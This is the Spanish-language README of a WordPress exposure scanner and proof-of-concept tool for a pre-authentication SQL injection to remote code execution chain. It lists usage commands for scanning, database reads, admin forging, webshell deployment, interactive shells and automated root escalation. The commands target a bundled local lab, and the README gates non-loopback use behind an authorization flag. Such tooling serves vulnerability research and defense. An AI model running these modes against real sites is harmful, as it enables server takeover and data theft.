wp2shell-scanner

por @bahartanir (katherinepierce) Fork de ZephrFish/wp2shell-scanner con mejoras adicionales. Investigación por Adam Kues (Assetnote) y Mustafa Can İPEKÇİ (nukedx).

Herramienta de detección y validación para la exposición del núcleo de WordPress a wp2shell (CVE-2026-63030 / CVE-2026-60137). Los modos se seleccionan con una bandera, y el objetivo es posicional. --scan toma la huella digital de la versión del núcleo y confirma que la ruta REST /batch/v1 es alcanzable sin enviar un payload de exploit; los modos --check/--read/--shell/--rce/--root-prereq son el PoC de validación para uso autorizado en laboratorio.

wp2shell.py es un único script que solo usa la biblioteca estándar — sin dependencias externas. Cada invocación imprime el banner en stderr antes de ejecutarse (permanece fuera de stdout, por lo que la salida JSON de --scan -j no se ve afectada).

Banderas de comando

Se requiere exactamente una bandera de modo; el objetivo es posicional (una URL para cada modo, o una lista de hosts para --scan).

Sinopsis

wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
            [targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
            [--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
            [--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
            [-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
            [--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
            [--timeout TIMEOUT]

Banderas de modo (elige una)

Banderas de opción

Análisis original en profundidad: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/

Plantilla de Nuclei

nuclei -t wp2shell-exposure.yaml -u https://target

Escaneo (no destructivo)

Un único host, múltiples hosts, o un archivo.

python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt

Opciones: -f/--file archivo de hosts (uno por línea), -j/--json salida JSON, -t/--threads concurrencia (por defecto 10).

PoC de validación

Los modos --check/--read/--shell/--rce/--root-prereq envían payloads de exploit en vivo. Ejecútelos solo contra el laboratorio local incluido, u otros sistemas que posea y para los que tenga autorización explícita para probar. --shell y --rce realizan ejecución remota de código y están destinados al laboratorio/objetivos autorizados; --rce en un host que no sea loopback requiere --authorized. --root-prereq usa el mismo plugin de diagnóstico con protección por token para verificar los requisitos previos de shell a root, pero no ejecuta una escalada de privilegios local.

--shell necesita una contraseña de administrador recuperada/descifrada. --rce es la cadena pre-autenticación sin credenciales: falsifica su propio administrador a través de la SQLi (oEmbed → changeset → parse_request reentrante), luego despliega la webshell — no se requiere contraseña.

--shell, --rce y --root-prereq solicitan autorización interactiva y/N antes de enviar cualquier payload de ejecución de código (se abortan en una stdin no interactiva/EOF). Pase -y/--yes para omitir la solicitud en automatización contra el laboratorio o un objetivo autorizado.

docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read  http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce   http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce   http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
python3 wp2shell.py --lpe   http://127.0.0.1:8080

Los diffs de parches utilizados para fundamentar el PoC se guardan en poc/diffs/, con notas de investigación en poc/RESEARCH.md. La SQLi es totalmente reconstruible a partir de la corrección author__not_in. La cadena --rce sin credenciales (oEmbed → changeset → reentrada → creación de admin) reproduce la RCE predeterminada contra el laboratorio incluido; --shell es la ruta alternativa mediante una credencial de administrador recuperada/descifrada para la carga autenticada de plugins y ejecución de comandos.

Escalada de Privilegios Local (--lpe)

--lpe encadena la RCE completa pre-autenticación (SQLi → falsificación de admin → webshell) con un intento de escalada a root automatizado. Intenta lo siguiente en orden, deteniéndose en el primer éxito:

python3 wp2shell.py --lpe http://127.0.0.1:8080
python3 wp2shell.py --lpe http://127.0.0.1:8080 -y          # omitir aviso de autorización
python3 wp2shell.py --lpe https://target --authorized        # no loopback

--lpe en un objetivo que no sea loopback requiere --authorized. En el laboratorio incluido (imagen base Ubuntu 22.04 con un kernel GameOverlay vulnerable) CVE-2023-2640/32629 tiene éxito sin compilador.